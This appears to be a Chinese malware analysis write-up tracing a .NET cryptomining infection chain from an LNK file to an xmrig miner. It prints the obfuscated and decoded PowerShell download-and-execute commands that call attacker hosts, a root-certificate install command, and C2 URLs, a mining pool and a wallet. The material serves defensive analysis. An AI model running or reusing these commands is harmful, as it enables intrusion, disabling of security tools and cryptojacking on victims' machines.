一个 .net 病毒的分析过程

2018-12-06 15:28:49 浏览数 (1)

本文作者:病毒分析小组全体成员

样本概述

本次样本为 Lnk 文件,内嵌了一个 Powershell 脚本,用于后续的释放和攻击……

md5 为 13d3d78aa4d28311e8e57ca01d34d11f,VT 扫描结果如下:

行为预览

详细分析

对 Lnk 文件使用 010editor 解析并从命令行提取出有效 payload 如下,根据经验判断为 Invoke-Obfuscation 混淆后的代码。

代码语言:javascript复制
"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe"-NoPr-WINd1-eXEcByP -jOin('73k69<88Z32~40~78~101m119<45_79P98Z106P101Z99m116@32k83Z121E115P116~101P109l46l78~101Z116l46_87_101m98@67@108k105Z101@110<116P41~46k68m111~119E110m108k111l97Z100k83<116@114_105~110_103P40E39<104m116P116P112l58k47~47m122m118_100P46<117l115m47@49<39l41'.spLIt('<ZPEmk_l@~')|%{([InT]$_-as[cHAr])})|&($sheLLid[1] $sHelLid[13] 'X')

因为脚本病毒自身的局限性,灵活运用重定向即可反混淆,解密后代码只有一行

代码语言:javascript复制
IEX (New-ObjectSystem.Net.WebClient).DownloadString('http://zvd.us/1')

访问 http://zvd.us/1 会重定向到 http://qgb.us/view/raw/55f809b0,可见为混淆后的 ps 代码

去除头部 ” &( $VERBOSEpREFeRENCe.tOSTRInG()[1,3] 'X'-JOIn'')”,将脚本输出重定向,解开第一层混淆,发现仍存在混淆,

去除 1.ps1 头部 ” " $(sV 'OFS' '')" [STrINg]”以及尾部 ” " $(sV 'OFS' '')" [STrINg]”,继续重定向输出,可见明文脚本,脚本头部代码为弹框提示视频错误从而迷惑受害者

主要功能代码为下载 http://zvd.us/2"$env:temptp.bat" 并调用 cmd 执行

代码语言:javascript复制
$wc=new-object system.net.webclient;$wc.downloadfile("http://zvd.us/2","$env:temptp.bat")
UKCgo -BinPath C:WindowsSystem32cmd.exe -Args "/c $env:temptp.bat"

http://zvd.us/2 指示去下载 http://zvd.us/3

http://zvd.us/3 重定向到 http://qgb.us/view/raw/a3e7990e,显示为混淆的 ps 代码

解密后发现脚本首先通过注册表操作禁用掉 Windows Dedenfer,SmartScreen 等系统自带的安全功能

之后下载并执行几个文件,下面会逐一分析

脚本中下载链接与实际下载链接对应如下:

代码语言:javascript复制
"http://tracker.awesomepush.online/5bc63d002c822c0001ff45fd","$env:tempwinstat.exe")
https://s3.amazonaws.com/360ossecure/simple/Alpha/installer.exe

"http://zrkls.pw/geo/geo.php","$env:temppost2.exe")
http://zrkls.pw/files/svchost.exe

" http://zrkls.pw/p/geoip.php ","$env:temppost3.exe")
http://zrkls.pw/p/p2.exe

"http://zrkls.pw/geo/geo.php","$env:temppost2.exe")
http://107.172.196.165:7217/mn.exe
installer.exe 分析

该样本是一个 NSIS 安装包,主要用于网页劫持,用 7-Zip 解压之后,发现存在一个 Bat 脚本文件,pem 证书文件,用于劫持的 Hosts 文件

pem 证书文件如下:

Bat 命令如下:

代码语言:javascript复制
certutil-addstore"Root"p.pem

将 Hosts 文件与系统的 Hosts 进行替换,内容如下:

NSIS 脚本文件中,将释放出来的 AlphaPassive.msi 添加启动项,用于网页的劫持

在系统中如下

MN.exe 分析

svchost.exe,mn.exe,p2.exe 均为混淆后的 C# 样本,使用 de4dot 即可去混淆,去混淆后发现均为同一种样本,故选取其中一个 mn.exe 分析,使用 dnSpy 打开去混淆后的程序,查看引用,可见存在 System.Configuration.Install,怀疑为利用 C# 自带的 InstallUtil.exe 来加载恶意代码,之后会结合样本解释此技术

当 C# 程序中存在 System.Configuration.Install.Installer 类的派生类时,如果通过 InstallUtil 程序启动,则程序不会从正常的入口点执行,而是从派生类中的 Uninstall 或 Install 类执行,我们在虚拟机中利用 procexp 就可以观察到样本通过 InstallUtil.exe 重新加载自身的行为:

程序正常入口点会调用 Class6.Form0_0.Run() 函数,从而调用 OnCreateMainForm() 函数

OnCreateMainForm() 函数通过 Activator.CreateInstance() 的方式实例化 GForm0,从而调用 GForm0 的构造函数

之后从资源节读取脚本,替换程序路径并执行

作用为通过 installutil.exe 重新启动程序,之后程序将会从 Uninstall 函数开始执行

脚本内容如下:

Uninstall 函数如下:

如果想要调试 Uninstall 函数,可以通过 patch 程序的方法将代码加到入口点,dnSpy 中 patch 程序后需要在文件菜单中选择全部保存才能正常调试

样本从 Uninstall 执行后,会从资源中的图片提取出另一个恶意程序并在内存中执行

执行后,首先进行反虚拟机,反沙箱,反调试操作

之后添加计划任务作为持久化措施

最后通过 process hollowing 的方式在 RegAsm.exe 进程内执行恶意代码,dump 下分析为开源的门罗币矿机 xmrig

github 的地址:

https://github.com/xmrig/xmrig

矿池地址

xmr-us-east1.nanopool.org:14444

钱包地址

428X5bXdQWu1SroTn6vR5nPPoHFDUkntmdppV267SJH2dXw3mMttKGQ8Tt49BPHbt2PXyEKdit5dx499AdkvGMgkUSLCc8j

13 个门罗币……

根据开源威胁情报可见服务器上还存在其他恶意代码。

http[:]//zrkls[.]]pw/http[:]//zrkls[.]pw/azhttp[:]//zrkls[.]pw/az/az[.]exehttp[:]//zrkls[.]pw/az/index[.]phphttp[:]//zrkls[.]pw/files/svchost[.]exehttp[:]//zrkls[.]pw/geo/geo[.]phphttp[:]//zrkls[.]pw/geo/geo[.]php,Patternhttp[:]//zrkls[.]pw/geo/nullhttp[:]//zrkls[.]pw/phttp[:]//zrkls[.]pw/p/geoip[.]phphttp[:]//zrkls[.]pw/p/nullhttp[:]//zrkls[.]pw/p/p2[.]exehttp[:]//zrkls[.]pw/tasks[.]phphttp[:]//zrkls[.]pw/upload/pd[.]exehttp[:]//zrkls[.]pw/upload/smk[.]exehttp[:]//zrkls[.]pw/upload/svchost[.]exehttp[:]//zrkls[.]pw/upload/win2[.]exehttp[:]//zrkls[.]pw/upload/wincircuit[.]exe

IOC

域名:

http[:]//zvd[.]ushttp[:]//qgb[.]ushttp[:]//tracker[.]awesomepush[.]onlinehttps[:]//s3[.]amazonaws[.]comhttp[:]//zrkls[.]pw

主要样本的SHA1:

d16d74d6c97d4704186bfcaa949c0f2f67ef30a28b511650e60229d6da9d6712a08d01514ce374a31d651924cbca82c12b4521cb33af79ef7af857b9

0 人点赞